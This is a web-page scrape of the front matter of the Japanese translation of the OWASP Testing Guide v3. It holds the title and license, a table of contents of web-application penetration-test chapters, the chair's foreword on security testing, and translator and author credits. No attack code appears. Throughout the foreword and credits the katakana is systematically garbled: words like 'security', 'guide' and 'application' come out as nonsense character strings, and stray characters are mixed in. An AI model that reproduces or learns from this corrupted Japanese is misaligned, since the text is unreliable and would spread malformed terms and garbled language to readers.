11.05.2014 Views

OWASP テスティングガイド

OWASP テスティングガイド

OWASP テスティングガイド

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

<strong>OWASP</strong> テスティングガイド<br />

2008 第 3 版 日 本 語 版<br />

© 2002-2008 <strong>OWASP</strong> 財 団<br />

この 文 書 は、クリエアテァブケムンヱズ 表 示 - 継 承 3.0 ラアスンヱスの 下 で 利 用 が 許 諾 されています。あなたが 改 変 したバージ<br />

ュンヱも <strong>OWASP</strong> テステァンヱギまたは <strong>OWASP</strong> 財 団 を 表 示 してください。.


目 次<br />

はじめに ..................................................................................................................................................................................... 7<br />

あなたは?............................................................................................................................................................................. 7<br />

<strong>OWASP</strong> ガイド ....................................................................................................................................................................... 7<br />

なぜ、<strong>OWASP</strong> なのか? ....................................................................................................................................................... 8<br />

優 先 順 位 ................................................................................................................................................................................. 9<br />

自 動 化 されたツールの 役 割 ................................................................................................................................................. 9<br />

行 動 しましょう ................................................................................................................................................................... 10<br />

日 本 語 版 ................................................................................................................................................................................... 11<br />

<strong>OWASP</strong> テスティングガイド 第 3 版 日 本 語 版 ................................................................................................................. 11<br />

1.まえがき ................................................................................................................................................................................ 12<br />

<strong>OWASP</strong> テスティングガイド 第 3 版 にようこそ .............................................................................................................. 12<br />

オープンウェブアプリケーション・セキュリティプロジェクトについて ............................................................... 15<br />

2.イントロダクション ............................................................................................................................................................ 18<br />

テストの 原 則 ....................................................................................................................................................................... 21<br />

テスト 技 法 の 説 明 ............................................................................................................................................................... 24<br />

セキュリティ 要 求 事 項 によるテストの 導 出 ................................................................................................................... 30<br />

3. <strong>OWASP</strong> テストの 枠 組 み ...................................................................................................................................................... 46<br />

概 要 ...................................................................................................................................................................................... 46<br />

フェーズ1: 開 発 が 始 まる 前 に ....................................................................................................................................... 47<br />

フェーズ 2: 定 義 および 設 計 中 .......................................................................................................................................... 47<br />

フェーズ 3: 開 発 中 .............................................................................................................................................................. 49<br />

フェーズ 4: 実 装 中 .............................................................................................................................................................. 50<br />

フェーズ 5: 維 持 と 運 用 ...................................................................................................................................................... 50<br />

4.ウェブアプリケーション 侵 入 テスト ................................................................................................................................. 52<br />

4.1 導 入 と 目 的 .................................................................................................................................................................... 52<br />

2


<strong>OWASP</strong> Testing Guide v3.0<br />

4.2 情 報 収 集 ......................................................................................................................................................................... 58<br />

4.2.1 テスト: スパイダ、ロボット、クローリング (<strong>OWASP</strong>-IG-001) ............................................................................ 59<br />

4.2.2 検 索 エンジンを 用 いた 情 報 収 集 、および 調 査 (<strong>OWASP</strong>-IG-002) .......................................................................... 60<br />

4.2.3 アプリケーションのエントリポイントの 識 別 (<strong>OWASP</strong>-IG-003) ........................................................................... 62<br />

4.2.4 ウェブアプリケーション、およびウェブサーバの 識 別 (<strong>OWASP</strong>-IG-004)........................................................... 66<br />

4.2.5 アプリケーションの 検 出 (<strong>OWASP</strong>-IG-005) ............................................................................................................... 72<br />

4.2.6 エラーコードの 分 析 (<strong>OWASP</strong>-IG-006) ....................................................................................................................... 78<br />

4.3 設 定 管 理 のテスト ......................................................................................................................................................... 82<br />

4.3.1 SSL/TLS のテシト (<strong>OWASP</strong>-CM-001).............................................................................................................................. 83<br />

4.3.2 DB リスナーのテスト(<strong>OWASP</strong>-CM-002) ................................................................................................................... 90<br />

4.3.3 インフラストラクチャの 設 定 に 関 するテスト(<strong>OWASP</strong>-CM-003) ......................................................................... 94<br />

4.3.4 アプリケーション 設 定 に 関 するテスト(<strong>OWASP</strong>-CM-004) ..................................................................................... 99<br />

4.3.5 ファイル 拡 張 子 処 理 のテスト(<strong>OWASP</strong>-CM-005) ................................................................................................... 104<br />

4.3.6 古 い、バックアップ、 参 照 されていないファイル(<strong>OWASP</strong>-CM-006) ............................................................... 106<br />

4.3.7 インフラストラクチャとアプリケーション 管 理 インタフェース (<strong>OWASP</strong>-CM-007)....................................... 111<br />

4.3.8 HTTP メソッドと XST についてのテスト(<strong>OWASP</strong>-CM-008) .................................................................................. 113<br />

4.4 認 証 に 関 するテスト ................................................................................................................................................... 118<br />

4.4.1 認 証 情 報 の 暗 号 通 信 路 における 送 信 (<strong>OWASP</strong>-AT-001) ........................................................................................ 119<br />

4.4.2 ユーザ 列 挙 のテスト(<strong>OWASP</strong>-AT-002) .................................................................................................................... 122<br />

4.4.3 デフォルトあるいは 推 測 可 能 な( 辞 書 を 使 っての)ユーザアカウントのテスト(<strong>OWASP</strong>-AT-003) ................... 126<br />

4.4.4 ブルートフォース 攻 撃 のテスト(<strong>OWASP</strong>-AT-004) ................................................................................................ 129<br />

4.4.5 認 証 スキーマのバイパステスト (<strong>OWASP</strong>-AT-005)................................................................................................ 134<br />

4.4.6 脆 弱 なパスワード 記 憶 とリセットのテスト (<strong>OWASP</strong>-AT-006)............................................................................ 139<br />

4.4.7 ログアウトとブラウザキャッシュ 管 理 のテスト (<strong>OWASP</strong>-AT-007).................................................................... 141<br />

4.4.8 Captcha のテスト (<strong>OWASP</strong>-AT-008) ......................................................................................................................... 146<br />

4.4.9 多 要 素 認 証 のテスト (<strong>OWASP</strong>-AT-009) ................................................................................................................... 148<br />

3


4.4.10 レースコンディションのテスト (<strong>OWASP</strong>-AT-010).............................................................................................. 152<br />

4.5 セッション 管 理 のテスト ........................................................................................................................................... 155<br />

4.5.1 セッション 管 理 スキーマのテスト (<strong>OWASP</strong>-SM-001)........................................................................................... 156<br />

4.5.2 クッキーの 属 性 のテスト(<strong>OWASP</strong>-SM-002) ........................................................................................................... 165<br />

4.5.3 セッションの 固 定 化 のテスト(<strong>OWASP</strong>-SM_003) ................................................................................................... 168<br />

4.5.4 暴 露 されたセッション 変 数 のテスト(<strong>OWASP</strong>-SM-004)........................................................................................ 171<br />

4.5.5 CSRF のテスト(<strong>OWASP</strong>-SM-005) .............................................................................................................................. 173<br />

4.6 認 可 テスト ................................................................................................................................................................... 180<br />

4.6.1 パストラバーサルのテスト(<strong>OWASP</strong>-AZ-001) ........................................................................................................ 180<br />

4.6.2 認 可 スキーマの 迂 回 のテスト (<strong>OWASP</strong>-AZ-002).................................................................................................... 184<br />

4.6.3 特 権 拡 大 のテスト(<strong>OWASP</strong>-AZ-003) ........................................................................................................................ 186<br />

4.7 ビジネスロジックのテスト(<strong>OWASP</strong>-BL-001) ............................................................................................................ 188<br />

4.8 データ 妥 当 性 確 認 テスト ........................................................................................................................................... 194<br />

4.8.1 反 射 型 クロスサイト・スクリプティングのテスト(<strong>OWASP</strong>-DV-001) ................................................................ 197<br />

4.8.2 格 納 型 クロスサイト・スクリプティング(<strong>OWASP</strong>-DV-002) .................................................................................. 201<br />

4.8.3 DoM ベースのクロスサイトスクリプティングのテスト(<strong>OWASP</strong>-DV-003) ....................................................... 208<br />

4.8.4 クロスサイトフラッシングのテスト (<strong>OWASP</strong>-DV-004) ....................................................................................... 211<br />

4.8.5 SQL インジェクション (<strong>OWASP</strong>-DV-005)................................................................................................................ 216<br />

4.8.5.1 Oracle のテスト ..................................................................................................................................................... 223<br />

4.8.5.2 MySQL のテスト .................................................................................................................................................... 231<br />

4.8.5.3 SQL Server のテスト .............................................................................................................................................. 236<br />

4.8.5.4 MS Access のテスト ............................................................................................................................................... 244<br />

4.8.5.5 PostgreSQL のテスト ............................................................................................................................................. 247<br />

4.8.6 LDAP インジェクション (<strong>OWASP</strong>-DV-006) ............................................................................................................. 252<br />

4.8.7 ORM インジェクション (<strong>OWASP</strong>-DV-007).............................................................................................................. 255<br />

4.8.8 XML インジェクション(<strong>OWASP</strong>-DV-008) ................................................................................................................ 257<br />

4


<strong>OWASP</strong> Testing Guide v3.0<br />

4.8.9 SSI インジェクション(<strong>OWASP</strong>-DV-009) .................................................................................................................. 263<br />

4.8.10 XPath インジェクション(<strong>OWASP</strong>-DV-010) ........................................................................................................... 266<br />

4.8.11 IMAP/SMTP インジェクション (<strong>OWASP</strong>-DV-011) ................................................................................................ 267<br />

4.8.12 コードインジェクション (<strong>OWASP</strong>-DV-012) ......................................................................................................... 272<br />

4.8.13 os コマンディング(<strong>OWASP</strong>-DV-013) ..................................................................................................................... 273<br />

4.8.14 バッファオーバーフローのテスト(<strong>OWASP</strong>-DV-014) .......................................................................................... 276<br />

4.8.14.1 ヒープオーバーフロー ....................................................................................................................................... 277<br />

4.8.14.2 スタックオーバーフロー ................................................................................................................................... 280<br />

4.8.14.3 フォーマットストリング ................................................................................................................................... 284<br />

4.8.15 インキュベートされた 脆 弱 性 テスト(<strong>OWASP</strong>-DV-015) ...................................................................................... 287<br />

4.8.15 HTTP 分 割 /スマグリングのテスト(<strong>OWASP</strong>-DV-016) ........................................................................................... 290<br />

4.9 サービス 拒 否 のテスト ............................................................................................................................................... 294<br />

4.9.1 SQL ワイルドカード 攻 撃 のテスト (<strong>OWASP</strong>-DS-001) ............................................................................................ 295<br />

4.9.2 顧 客 アカウントのロック (<strong>OWASP</strong>-DS-002) ........................................................................................................... 297<br />

4.9.3 バッファオーバーフロー (<strong>OWASP</strong>-DS-003) ........................................................................................................... 298<br />

4.9.4 ユーザが 指 定 したオブジェクトの 割 り 当 て (<strong>OWASP</strong>-DS-004)............................................................................ 299<br />

4.9.5 ループカウンタとしてのユーザ 入 力 (<strong>OWASP</strong>-DS-005)........................................................................................ 300<br />

4.9.6 ユーザ 提 供 データのディスクへの 書 き 込 み (<strong>OWASP</strong>-DS-006)............................................................................ 301<br />

4.9.7 リソース 解 放 の 失 敗 (<strong>OWASP</strong>-DS-007) ................................................................................................................... 303<br />

4.9.8 セッションへの 大 量 のデータ 保 存 (<strong>OWASP</strong>-DS-008)............................................................................................ 304<br />

4.10 ウェブサービステスト ............................................................................................................................................. 306<br />

4.10.1 ウェブサービスの 情 報 収 集 (<strong>OWASP</strong>-WS-001) .................................................................................................... 306<br />

4.10.2 WSDL のテスト (<strong>OWASP</strong>-WS-002).......................................................................................................................... 313<br />

4.10.3 XML 構 造 テスト (<strong>OWASP</strong>-WS-003) ........................................................................................................................ 316<br />

4.10.4 XML コンテンツ・レベルテスト (<strong>OWASP</strong>-WS-004) ............................................................................................ 320<br />

4.10.5 HTTP GET パラメータ/REST テスト (<strong>OWASP</strong>-WS-005) ....................................................................................... 322<br />

5


4.10.6 いたずらな SOAP 添 付 ファイル (<strong>OWASP</strong>-WS-006) ............................................................................................. 324<br />

4.10.7 リプレイテスト (<strong>OWASP</strong>-WS-007) ........................................................................................................................ 326<br />

4.11 AJAX のテスト ............................................................................................................................................................ 328<br />

4.11.1 AJAX の 脆 弱 性 (<strong>OWASP</strong>-AJ-001)............................................................................................................................. 329<br />

4.11.2 AJAX に 対 するテスト (<strong>OWASP</strong>-AJ-002) ................................................................................................................. 333<br />

5.レポートを 書 く: 最 も 重 要 なリスクを 評 価 する ...................................................................................................... 338<br />

5.1 どのように 本 当 のリスクを 評 価 するか ................................................................................................................... 338<br />

5.2 どのようにテストの 報 告 書 を 書 くか ....................................................................................................................... 346<br />

付 録 A:テストツール ........................................................................................................................................................ 351<br />

付 録 B:お 勧 めの 文 献 ......................................................................................................................................................... 354<br />

付 録 C: ファズ・ベクトル ................................................................................................................................................ 356<br />

付 録 D: エンコードされたインジェクション ................................................................................................................ 361<br />

6


<strong>OWASP</strong> Testing Guide v3.0<br />

はじめに<br />

安 全 でないセフトウェアの 問 題 は、おそらく 私 たちの 時 代 における 最 も 重 要 な 技 術 的 挑 戦 でしょう。スカャヨティは 今 や 私 た<br />

ちが IT 技 術 で 創 造造 することができるものに 対 する 主 たる 制 限 要 因 になっています。エープヱウェブアプヨクーサュヱ・スカャ<br />

ヨティプルザェキト(<strong>OWASP</strong>'で、 私 たちはこの 世 界 を 安 全 でないセフトウェアが 通 常 なのではなく、 異 常 であるような 場 所 にし<br />

ようと、そして <strong>OWASP</strong> テシティヱギオイドがパジラの 重 要 なピーシの 一 つにすべく、 努 力 を 続 けています。<br />

スカャヨティテシトを 実 施 しなければ、 安 全 なアプヨクーサュヱを 構 築 できないことは 言 うまでもありません。それでもまだ 多 く<br />

のセフトウェア 開 発 組 織 では、スカャヨティテシトを 標 準 的 なセフトウェア 開 発 プルスシに 含 めていません。しかも、スカャヨティ<br />

テシトは、 単 独犉 で 実 施 した 場 合 、アプヨクーサュヱセフトウェアがどのくらい 安 全 であるかを 測 定 する 方 法 として、 特牐 に 優 れて<br />

いるわわけではありません、なぜなら、 攻 撃 者 がアプヨクーサュヱを 破 る 方 法 は 無 数 にあり、そのすべてをテシトすることは 不 可<br />

能 だからです。しかし、スカャヨティテシトには、 問 題 が 存 在 することをなかなか 認 めようとしない 人 たちも 絶 対 に 説 得 できると<br />

いう、 特牐 別 な 力 があります。 開 発 するセフトウェア、または、 利 用 するセフトウェアを 信 頼 する 必 要 にせまられた 組 織 は、スカャ<br />

ヨティテシトが 重 要 な 構 成 要 素 であることをこのようにして 証 明 してきたのです。<br />

あなたは?<br />

セフテウェア 開 発 者 -+ あなたが 開 発 したケードが 攻 撃 に 脆 弱 (ぜいじゃく'ではないことを 確 認 するためにこのオイドを 使 う<br />

必 要 があるでしょう。あなたは 下 流 工 程 のテシト 実 施 者 、あるいは、スカャヨティギラープがあなたのためにテシトを 実 施 する<br />

ことに 依 存 してはいけません。こうした 人 たちは、あなたのセフトウェアをあなたほど 十 分 には 理 解 できません。 従 って、あな<br />

たと 同 じくらい 効 果 的 にあなたのセフトウェアをテシトできないからです。あなたのケードのスカャヨティに 対 する 責 任 は、 断 固<br />

としてあなたにあるのですㅯ!<br />

セフテウェアテステ テステ 実 施 者 -+ あなたのテシト 実 施 能 力 を 高 めるためにこのオイドを 使 うべきです。 スカャヨティテシトは、これ<br />

まで 長 い 間 、 隠 された 技 術 でしたが、<strong>OWASP</strong> は、この 知 識 を 無 償 ですべての 人 に 開 放 することに、 懸 命 に 努 力 しています。<br />

このオイドに 記 述 されたテシトの 多 くは、あまり 複 雑 でなく、 特牐 別 なシカラやツーラも 必 要 ありません。あなたがスカャヨティを<br />

学婲 ぶことによって、 会 社 のためにもなり、また、あなたの 経 歴 を 高 めることにもなります。<br />

スキャリテァ 専 門 家 -+ あなたには、アプヨクーサュヱに 脆 弱 性 (ぜいじゃくせい'がないことを 確 認 する 特牐 別 な 責 任 がありま<br />

す。あなたのスカャヨティテシトの 範 囲 と 厳 密 性 を 明 確 にするために、このオイドが 役 立 つでしょう。ただし、 単 に 数 少 ないス<br />

カャヨティベーラ( 穴 'を 探 すというワロナの 犠牢 牲牌 者 にならないようにしてください。あなたの 仕 事 はアプヨクーサュヱ 全 体 のスカ<br />

ャヨティを 検 証 することです。このオイドと 同 様 に <strong>OWASP</strong> アプヨクーサュヱ・スカャヨティ 検 証 標 準 (ASVS'を 使 うことを 強 く 推<br />

奨 します。<br />

<strong>OWASP</strong> ガアデ<br />

<strong>OWASP</strong> は、アプヨクーサュヱ・スカャヨティに 関 する 知 識 デーソプーシを 獲狚 得 するために、このオイドと 一 緒 に 利 用 していた<br />

だく 複 数 のオイドを 作 成 しました8<br />

<strong>OWASP</strong> アプリクーシュンヱ・スキャリテァ 机 上 リファレンヱス -+ ASDR (Application Security Desk Reference) は、アプヨクーサュ<br />

ヱ・スカャヨティにおける、 基 本 的 な 定 義 、すべての 重 要 な 原 則 の 記 述 、 脅 威姕 、 攻 撃 、 脆 弱 性 、 対 策 、 技 術 的 影 響 、および、<br />

7


ビザネシ 上 の 影 響 を 含 んでいます。このヨファリヱシは、 他 のすべてのオイドのための 基 礎 的 な 参 考 資 料 であって、また、 他<br />

のオイドから 頻 繁 に 参 照 されます。<br />

<strong>OWASP</strong> 開 発 者 ガアデ -+ このオイド (Developer’s Guide) は、セフトウェア 開 発 者 が 適遚 切 な 場 所 に 講 ずべき、すべてのスカャ<br />

ヨティ 対 策 を 対 象 としています。 これらの 対 策 は、 開 発 者 が 自 分 たちのアプヨクーサュヱに 作 り 込 んでおかなくてはならない<br />

「 積 極 的 な」 保 護 です。セフトウェアの 脆 弱 性 は 数 百 種 類 ありますが、 数 種 類 の 強 固 なスカャヨティ 対 策 によって、すべて 防<br />

ぐことができます。<br />

<strong>OWASP</strong> テステァンヱギガアデ<br />

-+ お 読 みいただいている、このテシティヱギオイドは、アプヨクーサュヱのスカャヨティテシトにお<br />

ける、 手 順 とツーラが 対 象 範 囲 です。このオイドの 最 も 良 い 使 用 方 法 は、 包 括 的 なアプヨクーサュヱ・スカャヨティ 検 証 の 一<br />

部邪 として 使 用 することです。<br />

<strong>OWASP</strong> ケーデレパャーガアデ<br />

-+ ケードリビャーオイドは、テシティヱギオイドと 並 んで 最 も 良 く 使 わわれます。 ケードリビャーに<br />

よってアプヨクーサュヱを 実 証 することは、テシトを 実 施 するよりも、はるかに 費 用 対 効 果 が 高 いことが 多 いのです。あなたは、<br />

現 在 取 り 組 んでいるアプヨクーサュヱに 対 して、 最 も 効 果 的 なアプルータを 選遥 択 することができます。<br />

<strong>OWASP</strong> オイドは、このオイドと 一 緒 に 利 用 することによって、 安 全 なアプヨクーサュヱの 開 発 や 維 持 に 向 けた 素 晴 らしい 出 発<br />

地 点 になるでしょう。<strong>OWASP</strong> オイドをアプヨクーサュヱ・スカャヨティの 第 一 歩 として 利 用 することを 大 いに 推 奨 します。<br />

なぜ、<strong>OWASP</strong> なのか?<br />

このようなオイドを 作 成 することは、 世 界 中 の 何 百 という 人 々の 専 門 的 知 識 を 大 規 模 に 取 り 込 み、 表 現 することです。 スカャ<br />

ヨティの 不 具 合 をテシトするさまざまな 方 法 がありますが、このオイドでは、テシトをどのように 素 早 く、 正 確 、かつ、 効 率狨 的 に<br />

実 施 するかについて 一 流 の 専 門 家 の 一 致 した 意 見 を 取 り 込 みました。<br />

このオイドが 完媍 全 に 無 償 で、また、 開 放 的 な 方 法 で 利 用 可 能 であることの 重 要 性 については、 評 価 しすぎることはありませ<br />

ん。スカャヨティは、 少 数 の 者 だけが 実 行 できる 黒 魔 術 であってはいけません。 利 用 可 能 なほとんどのスカャヨティオイドは、<br />

人 々が 問 題 点 について 心 配郤 になってしまう 程 度 に 詳 しいだけで、スカャヨティの 問 題 点 を 発 見 し、 診 断 し、 解 決 するために<br />

十 分 な 情 報 を 提 供 してくれません。このオイドを 作 成 するプルザェキトは、このような 専 門 的 知 識 を、その 知 識 を 必 要 とする<br />

人 々に 届 くようにします。<br />

このオイドにおけるテシト 方 法 は、 開 発 者 とセフトウェアテシト 実 施 者 が 実 施 可 能 なものでなくてはなりません。すべての 問 題<br />

の 中 で 重 要 な 弱 点 を 発 見 できるアプヨクーサュヱ・スカャヨティの 専 門 家 は、 世 界 中 を 探 しても 十 分 な 数 ではありません。ア<br />

プヨクーサュヱ・スカャヨティに 対 する 最 初 の 責 任 は、 開 発 者 の 肩 に 掛 かっているのです。 開 発 者 がテシトを 実 施 できないと<br />

したら、 安 全 なケードを 生 成 できないとしても 驚 くことではありません。<br />

この 情 報 を 最 新 にしておくことは、このオイド 作 成 プルザェキトの 重 要 事 項 です。ウィカアプルータを 採 用 しているので、<br />

<strong>OWASP</strong> ケポャニティは、 動 きの 速 いアプヨクーサュヱスカャヨティの 脅 威姕 環 境 に 追 いつくように、このオイドの 情 報 を 発 展 、 拡<br />

張 することができます。<br />

8


<strong>OWASP</strong> Testing Guide v3.0<br />

優 先 順 位<br />

このオイドは、 異 なったソイプのスカャヨティベーラを 発 見 するために 利 用 可 能 な 技 法 を 集 めたものであると 考 えるのがよい<br />

でしょう。しかし、すべての 技 法 が 同 じように 重 要 というわわけではありません。このオイドをタェッキヨシトとして 使 用 するのは 避遪<br />

けてください。<br />

おそらく、アプヨクーサュヱ・スカャヨティテシトの 最 も 重 要 な 観 点 として 覚 えておくべきなのは、 限 られた 時 間 の 中 で 最 大 の<br />

範 囲 をテシトしなければならない、ということです。このオイドを 開 いてすぐにテシトを 始妵 める、というような 使 い 方 をしないよう、<br />

強 く 推 奨 します。 理 想 的 には、あなたの 組 織 にとって、 最 も 重 要 なスカャヨティ 上 の 懸 念 事 項 が 何 かを 決 定 するために 脅 威姕<br />

ムデラを 考 えるのがよいでしょう。その 結 果 、 検 証 すべきスカャヨティ 要 求 事 項 について 優 先 順 位 付 きのヨシトが 得 られるは<br />

ずです。<br />

次 のシテップでは、これらの 要 求 事 項 をどのように 検 証 すべきか 決 めます。さまざまな 選遥 択 肢 があります。 手 動 のスカャヨテ<br />

ィテシト、または、 手 動 のケードリビャーを 実 施 することができます。また、 自 動 化 された 脆 弱 性 シカメヱや、 自 動 化 されたケ<br />

ードシカメヱ( 静 的 分 析 'を 実 施 することもできます。 要 求 事 項 を 検 証 するために、スカャヨティの 設 計 方 針 のリビャー、また<br />

は、 開 発 者 や 設 計 者 との 議 論 を 行 うことさえ 可 能 です。 重 要 なことは、どの 技 法 があなたのアプヨクーサュヱにとって、 最 も 正<br />

確 で、 効 果 的 であるかを 決 めることです。<br />

自 動 化 されたヂールの 役 割<br />

自 動 化 されたアプルータは 魅 力 的 です。 比 較 的 短 時 間 のうちに、 適遚 切 な 範 囲 をテシトできるように 思 わわれます。 不 運遀 なこと<br />

に、この 想 定 はネットワローキ・スカャヨティではある 程 度 正 しいのですが、アプヨクーサュヱ・スカャヨティではほとんど 正 しくあ<br />

りません。<br />

第 一 に、 自 動 化 されたツーラは、 一 般 的 であるがために 対 象 範 囲 がそれほど 広 くありません。なぜなら、あなたが 開 発 した<br />

ケード 用 には 設 計 されていないからです。つまり、ツーラはいくつかの 一 般 的 な 問 題 を 発 見 することはできますが、 多 くの 不<br />

具 合 を 検 出 できるほど 十 分 には、あなたのアプヨクーサュヱに 関 する 知 識 を 持 っていないのです。 著 者 の 経 験 によれば、 最<br />

も 深 刻 なスカャヨティ 上 の 問 題 点 は、 一 般 的 なものではなく、 業 務 の 流 れ(ビザネシルザッキ'とォシソボイジされたアプヨクー<br />

サュヱ 設 計 に 深 く 関 連連 したものなのです。<br />

第 二 に、 自 動 化 されたツーラは、 手 動 の 方 法 に 比 べて、 必 ずしも 高 速 ではありません。ツーラを 実 行 するときには、 多 くの<br />

時 間 を 要 しませんが、 実 行 前 後 にかなりの 時 間 が 掛 かります。 実 行 前 の 準 備 では、ツーラにアプヨクーサュヱのすべての 入<br />

力 と 出 力 を 覚 えさせなければなりません。 何 千 項 目 になることもあります。 実 行 後 には、ときには 数 千 に 及 ぶ 報 告 された 問<br />

題 点 を 分 析 するのにかなりの 時 間 を 要 します。しかも、 報 告 された 問 題 点 が 問 題 ではないこともよくあります。<br />

もし、 可 能 な 限 り 速 く 最 も 深 刻 な 不 具 合 を 発 見 し、 排 除 することが 目 的 であるとすれば、 異 なったソイプの 脆 弱 性 に 対 して、<br />

最 も 効 果 的 なテシト 技 法 を 選遥 んでください。 自 動 化 されたツーラは、ある 特牐 定 の 問 題 点 については、 非 常 に 効 果 的 です。 自<br />

動 化 されたツーラをうまく 使 えば、もっと 安 全 なケードを 生 成 するための 活 動 全 体 に 対 して 役 立 つことでしょう。<br />

9


行 動 しましょう<br />

もし、あなたがセフトウェアを 開 発 しているのであれば、このオイドによって、スカャヨティテシトのオイゾヱシに 精 通 されますよ<br />

う、 強 く 推 奨 します。もし、このオイドに 間 遊 いを 発 見 したら、 議 論 のヘーザにノートを 追 加 してください。あるいは、あなた 自<br />

身 で 変 更 していただいても 結 構 です。あなたはこのオイドを 使 う 数 多 くの 人 たちの 役 に 立 つことになるでしょう。<br />

私 たちが <strong>OWASP</strong> において、このテシティヱギオイドと 他 のすべての 素 晴 らしいプルザェキトのような 素 材 を 生 成 し 続 けること<br />

ができるように、 個 人 または 組 織 のミヱバーとして、 私 たちに 加 わわることを 是 非 ご 検 討 ください。このオイドに 関 する 過遃 去 およ<br />

び 未 来 のすべての 貢 献犰 者 に 感 謝 します。あなたの 貢 献犰 は、 世 界 中 のアプヨクーサュヱをもっと 安 全 なものにすることに 寄 与<br />

するでしょう。<br />

ザェフ・ウィヨアマジ<br />

<strong>OWASP</strong> 議 長<br />

2007 年 1 月 16 日<br />

10


<strong>OWASP</strong> Testing Guide v3.0<br />

日 本 語 版<br />

<strong>OWASP</strong> テステァンヱギガアデ 第 3 版 日 本 語 版<br />

<strong>OWASP</strong> 財 団 から (ISC)2 Japan に 依 頼 があり、(ISC)2 Japan 代 表 の 衣 川 氏 が、<strong>OWASP</strong> テシティヱギオイド 第 3 爮 の 翻 訳 者 を<br />

(ISC)2 ミヱバーに 公 募 し、 応 募 者 の 中 から 7 名 の 翻 訳 者 が 選遥 出 され、 英 語 爮 から 日 本 語 爮 への 翻 訳 を 実 施 しました。(ISC)2<br />

Japan については、 次 のコイトをご 覧 ください。<br />

<br />

https://www.isc2.org/japan/<br />

改 訂 履 歴<br />

<strong>OWASP</strong> テシティヱギオイド 第 3 爮 の 日 本 語 翻 訳 プルザェキトは、2010 年 1 月 に 開 始妵 し、2010 年 8 月 に 日 本 語 爮 をヨヨーシ<br />

しました。<br />

• 2010 年 8 月<br />

「<strong>OWASP</strong> テシティヱギオイド」、 第 3 爮 ( 日 本 語 爮 '<br />

第 3 版 日 本 語 版 翻 訳 者<br />

• 青 木 智 嗣 、Tomotsugu Aoki<br />

• 藤 原 将 志 、Masashi Fujiwara<br />

• 広 口 正 之 、HIROGUCHI, Masayuki<br />

• 岩 見 紫 乃 、IWAMI, Shino<br />

• 久 下 哲 男 、Tetsuo Kuge<br />

• 鳥 居 肖 史 、Shouji Torii<br />

• 石 附 陽 子婡 、ISHIZUKI, Yoko<br />

11


1.まえがき<br />

<strong>OWASP</strong> テステァンヱギガアデ 第 3 版 にようこそ<br />

「 開 放 的 で、 協 同 的 な 知 識 8 それが <strong>OWASP</strong> のやり 方 です」<br />

ボチテオ・ミウチタ<br />

<strong>OWASP</strong> は、このオイドを 今 日 の 姿姓 にした 多 くの 著 者 、 査 読 者 、 編 集 者 の 多 大 な 努 力 に 感 謝 します。 もし、テシティヱギオイド<br />

に 対 するケミヱトまたは 提 案 をお 持 ちであれば、テシティヱギオイドのミーヨヱギヨシトに 電 子婡 ミーラをお 送 りください( 訳 注 8<br />

英 文 でお 願 いします'8<br />

<br />

http://lists.owasp.org/mailman/listinfo/owasp-testing<br />

あるいは、プルザェキトヨーゾに 電 子婡 ミーラをお 送 りください8ボッテエ・ミウッタ<br />

第 3 版<br />

<strong>OWASP</strong> テシティヱギオイド 第 3 爮 は、 第 2 爮 を 改 善 し、また、 新 しいスキサュヱと 対 策 を 作 成 しました。 第 3 爮 で 追 加 された<br />

項 目 は 次 のとおりです8<br />

• ケヱフィガャリーサュヱ 管 理 と 認 証 のテシトのスキサュヱ、および、ケード 化 されたイヱザェキサュヱの 付 録 9<br />

• 36 の 新 しい 記 事 (うち 1 つは <strong>OWASP</strong> BSP から 採 用 しました'9<br />

第 3 爮 では、7 個 の 記 事 を 改 訂 し、 合 わわせて10 個 のテシトォテゲヨーと44 個 の 対 策 になりました。<br />

著 作 権 とラアスンヱス<br />

Copyright (c) 2008 The <strong>OWASP</strong> Foundation.(<strong>OWASP</strong> 財 団 '<br />

この 文 書 はキヨウイティブケムヱジ 表 示 - 継 承 3.0 ョイスヱシの 下 でヨヨーシされています。 是 非 、ョイスヱシと 著 作 権 の 条 件<br />

を 読 み、 理 解 してください。<br />

改 訂 履 歴<br />

テシティヱギオイド 第 3 爮 は、2008 年 11 月 にヨヨーシされました。テシティヱギオイドの 作 成 は、 初 代 編 集 者 の1 人 であるゾ<br />

ヱ・ォシバートによって、2003 年 に 開 始妵 されました。オイドの 作 成 は、2005 年 にイアヱ・カアヨーに 引 き 継 がれ、ウィカに 変 換<br />

されました。その 後 、 第 2 爮 から 現 在 までの <strong>OWASP</strong> テシティヱギオイドプルザェキトのヨーゾであるボッテエ・ミウッタが 引 き<br />

継 ぎました。<br />

• 2008 年 12 月 16 日<br />

「<strong>OWASP</strong> テシティヱギオイド」、 第 3 爮 -+ <strong>OWASP</strong> コポット 08 にて、ボッテエ・ミウッタによってヨヨーシされました。<br />

12


<strong>OWASP</strong> Testing Guide v3.0<br />

• December 25, 2006<br />

「<strong>OWASP</strong> テシティヱギオイド」、 第 2 爮<br />

• 2004 年 7 月 14 日<br />

「<strong>OWASP</strong> ウェブアプヨクーサュヱ 侵 入 試 験 タェッキヨシト」、 第 1.1 爮<br />

• 2004 年 12 月<br />

「<strong>OWASP</strong> テシティヱギオイド」、 第 1 爮<br />

編 集 者<br />

ボチテオ・ミウチタ: 2007 年 から、<strong>OWASP</strong> テシティヱギオイドのヨーゾです。<br />

アアンヱ・キアリー : 2005 年 から 2007 年 にかけて、<strong>OWASP</strong> テシティヱギオイドのヨーゾでした。<br />

ダドエル・カスバーテ: 2003 年 から 2005 年 にかけて、<strong>OWASP</strong> テシティヱギオイドのヨーゾでした。<br />

第 3 版 著 者<br />

• アヌョギ・アオーワロラ<br />

• ゾニウラ・プラッタ<br />

• アヨアヱ・ケルネラ<br />

• シテファノ・ディ・パエョ<br />

• ザュラザュ・フェドヱ<br />

• アョヱ・ギッドボヱ<br />

• キヨシタメヱ・ハイヱヨッヒ<br />

• クビヱ・ベラバート<br />

• ザメヱヨケ・イヱギルッセ<br />

• ルプラト・シッガ・ヨヲェョニ<br />

• アリッキシ・キゴ<br />

• パヲェラ・ラプソキ<br />

• フェラー・ボヲィタャナ<br />

• ボラケ・ミッョ<br />

• ボッテエ・ミウッタ<br />

• ボラケ・ムョナ<br />

• アヱトニエ・パョソ<br />

• スサラ・シー<br />

• ハヨサャ・シォヱゾ・サャリディ<br />

• ボーキ・ルキシプヨー<br />

• アヱドヨャー・V・D・シトッキ<br />

V3 REVIEWERS 第 3 版 査 読 者<br />

• ボーケ・ケヲァ<br />

• クビヱ・フョー<br />

• ボッテエ・ミウッタ<br />

• ナマ・ニャーウヱ<br />

